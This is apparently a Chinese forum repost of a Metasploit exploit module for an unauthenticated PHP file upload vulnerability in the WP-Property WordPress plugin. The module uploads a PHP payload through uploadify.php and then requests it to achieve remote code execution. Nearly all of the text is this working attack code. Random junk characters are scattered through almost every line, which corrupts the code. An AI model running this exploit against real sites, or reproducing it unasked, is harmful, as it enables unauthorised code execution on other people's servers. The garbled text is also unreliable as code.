WordPress WP-Property PHP 文件上传漏洞. j9 R4 k. _. E9 o6 b6 w
* j. T4 A. S+ F S ## # This file is part of the Metasploit Framework and may be subject to
" V- q7 _! V& I8 {! p6 p3 c( b4 ?5 r: @1 b+ B3 }4 ]
# redistribution and commercial restrictions. Please see the Metasploit6 X5 }" K% n- d# s5 @$ S( O0 U) p
9 e/ ~* Z6 l6 q* W# V7 r4 ?9 N
# Framework web site for more information on licensing and terms of use.
, n- p; @% ]! c9 C4 d8 g
3 n# b; ^8 q6 S, H1 P. w; N$ Z# http://metasploit.com/framework/ ##/ L5 v9 X3 T( D7 t# i1 m& T
6 z( y0 @: @- _ m; L" i
- V2 s9 t8 B5 R% B; q
7 F6 x. R! E: ?. `
" K5 p7 M7 ^1 R6 w" }; K6 M
0 W/ j& p$ a9 y9 o- j6 u0 Jrequire 'msf/core'7 r% Y( ? X7 U& o6 V) n7 W
require 'msf/core/exploit/php_exe'/ f4 s. y9 e/ ]
+ _8 v" n S7 cclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',8 U( K9 E5 S1 m7 C, o# U2 w& @
'Description' => %q{
; j6 Y# u. f7 Q ]. f" D7 p+ CThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>; j$ ?; {, h2 i1 B) U
[
0 W) z& a2 c1 c( o'Sammy FORGIT', # initial discovery1 I" i! u) ^& ~# W' s6 m1 m$ p
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
# V" n# F# O6 `% R6 {],
$ E* Q W9 ]0 `( l. [' u'License' => MSF_LICENSE,
2 q# T: m1 U! L) y'References' =>
* L8 L+ J! X# C& v[
5 S' s5 a) r! N* Y[ 'OSVDB', '82656' ],& H# S* R5 S9 q6 d, b
[ 'BID', '53787' ],
. |; [- ~4 E2 H" G A( U[ 'EDB', '18987'],7 j$ H8 F7 K, h( O$ q. n7 Q
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
& R, X# i+ K9 q! Z5 Y7 L],
' d' ^% f5 ]' j7 c, Q6 ]9 ^3 G! r'Payload' =>, W/ [6 B' A3 b6 h) J
{
# E" I- o; X9 u8 N& |/ I'BadChars' => "\x00",
2 ^ E4 f9 i5 T& b},8 d4 g+ L( C, {0 x
'Platform' => 'php',/ g/ M8 z5 }/ N$ u0 h
'Arch' => ARCH_PHP, c8 y$ V2 w5 G1 C2 a
'Targets' =>0 ?5 \) B: d5 a c4 n3 ] G; B
[
, J- B0 k0 c+ R" x[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
" W; ?+ y2 N8 B `2 q% H[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
8 N9 r. i( h h! B! T* T0 Q],
$ A0 A6 i! i- t; ~$ A'DefaultTarget' => 0,
6 v. }! ^$ O5 K6 J'DisclosureDate' => 'Mar 26 2012'))0 G2 ^9 X6 f9 ]+ Z& X+ u f; V
: y" q& a% e C% T9 a% Yregister_options(% }5 U4 y( t1 q" x; P' `
[
9 o( i) E, T' i& ~. E* B1 S/ @/ r, ZOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
) t2 o1 c8 P" z0 _: l], self.class)- J* \* T# t% N. B+ u! j
end$ u4 K5 J( ^1 g F5 Q2 J2 G
8 l: h9 E. Z, Z: X
def check
. w' H, h+ ?5 ]' A+ turi = target_uri.path
: L. I$ m) m5 w& Z2 t, R2 @uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
! @' o+ V' O5 M+ t/ ], O'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"8 g' U0 I7 z( F3 c4 K" o+ m
})
0 i) | h' I: e; |6 L) t( E9 e/ @0 b0 q
if not res or res.code != 200
4 k$ Z* m! h: Z% o- k# ? ?return Exploit::CheckCode::Unknown& ~ y2 c/ p2 v0 c- J% t/ o* v4 A
end
* s( H x2 J9 ~7 c( R) d
' n T+ n) V) K" }6 x' b& `return Exploit::CheckCode::Appears R f& | ?% `- ^! A- b
end
7 w' ^! E: Q* N9 d1 D% b2 C' Q2 e7 Y8 l
def exploit1 `8 b) |( t) t1 T
uri = target_uri.path
9 Y2 L _/ W7 c: c' S+ s/ zuri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
# B3 a" h" i9 X. u: b5 \; f: |8 S6 z" r6 a( l$ A. c! D$ H
data = Rex::MIME::Message.new& h+ [/ b8 r8 U8 Q+ K8 t
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
) z2 B% Z' f; N& T. Jdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")* I' a+ {, x$ F
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')+ r& y# l2 O2 @) r" Y d2 s
, a- o5 X0 P2 r+ z
print_status("#{peer} - Uploading payload #{@payload_name}")
: o, a- ^$ r2 d n7 m3 sres = send_request_cgi({4 ]# J, n2 P2 U0 A# m% V/ @
'method' => 'POST',
# J* {7 |* ^( C" q' `2 R' a'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
( f8 C4 V/ ?$ r. X. l0 x'ctype' => "multipart/form-data; boundary=#{data.bound}",6 A$ ~" ^+ W5 p, |& o
'data' => post_data
2 a* l% l" q2 a- y/ Y6 W})5 k/ v. P r+ a
) e$ u/ P7 l9 Z9 R3 ]0 a2 B4 q# t
if not res or res.code != 200 or res.body !~ /#{@payload_name}/* d. f/ `# h( t9 i" {' J* P
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") J& }; [! |" r' \* s
end
! y2 ^& b( o' U
. {1 g; U# L* T) K4 l6 R0 bupload_uri = res.body. B$ C% s! j" ], f# Q/ n3 g( ~4 \) R
, _, m+ r i. l% I" V( `' P {$ ~0 Jprint_status("#{peer} - Executing payload #{@payload_name}")* ?. A2 i b0 F" [5 Z- {
res = send_request_raw({
9 ~, [2 @' ^' b) S3 p'uri' => upload_uri,; p) D2 ^, J* i% T [
'method' => 'GET'
+ }. o+ C& J2 U c* L})4 ^( E) y, S0 I( u4 T/ @
end
5 {; c! ? V8 x) ^1 Jend
9 a1 n7 W% l) l0 V" M& x* e
8 l# t$ m( V3 I5 B9 x+ K不要问我这写的是什么 怎么利用 我是说msf.1 [0 @1 X7 u: U" C% q
5 ]) q% r. g$ F5 b- b |